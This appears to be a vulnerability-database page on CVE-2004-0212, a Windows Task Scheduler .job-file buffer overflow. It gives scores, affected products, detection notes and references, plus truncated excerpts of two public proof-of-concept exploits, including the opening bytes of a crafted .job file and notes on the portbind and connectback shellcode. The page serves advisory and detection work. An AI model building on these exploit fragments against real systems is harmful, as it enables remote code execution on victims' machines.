CVE-2004-0212
published 2004-08-06CVE-2004-0212: Stack-based buffer overflow in the Task Scheduler for Windows 2000 and XP, and Internet Explorer 6 on Windows NT 4.0, allows local or remote attackers to…
PriorityP352critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
66.95%
99.2th percentile
Stack-based buffer overflow in the Task Scheduler for Windows 2000 and XP, and Internet Explorer 6 on Windows NT 4.0, allows local or remote attackers to execute arbitrary code via a .job file containing long parameters, as demonstrated using Internet Explorer and accessing a .job file on an anonymous share.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| avaya | modular_messaging_message_storage_server | — | — |
| microsoft | ie | — | — |
| microsoft | windows_nt | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Malicious .job files exploiting CVE-2004-0212 contain a crafted header starting with bytes 01 05 01 00 D9 FF followed by large NOP sled padding; detect oversized parameter fields in .job files parsed by Task Scheduler or Internet Explorer. ↗
- →Portbind shellcode variant opens a listening port (default 7777 in PoC); monitor for unexpected listening TCP ports opened by Task Scheduler or Explorer processes. ↗
- →Delivery vector includes accessing a .job file on an anonymous SMB share via Internet Explorer; monitor for IE or Explorer accessing .job files from UNC/anonymous share paths. ↗
- ·The connectback shellcode hardcodes the target IP at a fixed offset (buf+283+16); the IP 0x7f010101 (127.1.1.1) appears as a placeholder and must be replaced with the attacker's actual IP at runtime. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows XP - Task Scheduler '.job' Universal (MS04-022)
exploitdb·2004-07-31
CVE-2004-0212 Microsoft Windows XP - Task Scheduler '.job' Universal (MS04-022)
Microsoft Windows XP - Task Scheduler '.job' Universal (MS04-022)
---
/* HOD-ms04022-task-expl.c:
*
* (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
*
* Exploit version 0.1 coded by
*
*
* .::[ houseofdabus ]::.
*
*
* [at inbox dot ru]
* -------------------------------------------------------------------
* Tested on:
* - Internet Explorer 6.0 (SP1) (iexplore.exe)
* - Explorer (explorer.exe)
* - Windows XP SP0, SP1
*
* -------------------------------------------------------------------
* Compile:
* Win32/VC++ : cl HOD-ms04022-task-expl.c
* Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib
* Linux : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c
*
* -------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
Exploit-DB
Microsoft Windows Task Scheduler (XP/2000) - '.job' (MS04-022)
exploitdb·2004-07-18
CVE-2004-0212 Microsoft Windows Task Scheduler (XP/2000) - '.job' (MS04-022)
Microsoft Windows Task Scheduler (XP/2000) - '.job' (MS04-022)
---
//*************************************************************
// Microsoft Windows 2K/XP Task Scheduler Vulnerability (MS04-022)
// Proof-of-Concept Exploit for English WinXP SP1
// 15 Jul 2004
//
// Running this will create a file "j.job". When explorer.exe or any
// file-open dialog box accesses the directory containing this file,
// notepad.exe will be spawn.
//
// Greetz: snooq, sk and all guys at SIG^2 www security org sg
//
//*************************************************************
#include
#include
unsigned char jobfile[] =
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\
No writeups or analysis indexed.
http://marc.info/?l=bugtraq&m=108981273009250&w=2http://marc.info/?l=bugtraq&m=108981403025596&w=2http://secunia.com/advisories/12060http://www.kb.cert.org/vuls/id/228028http://www.ngssoftware.com/advisories/mstaskjob.txthttp://www.us-cert.gov/cas/techalerts/TA04-196A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2004/ms04-022https://exchange.xforce.ibmcloud.com/vulnerabilities/16591https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1344https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1781https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1964https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3428http://marc.info/?l=bugtraq&m=108981273009250&w=2http://marc.info/?l=bugtraq&m=108981403025596&w=2http://secunia.com/advisories/12060http://www.kb.cert.org/vuls/id/228028http://www.ngssoftware.com/advisories/mstaskjob.txthttp://www.us-cert.gov/cas/techalerts/TA04-196A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2004/ms04-022https://exchange.xforce.ibmcloud.com/vulnerabilities/16591https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1344https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1781https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1964https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3428
2004-08-06
Published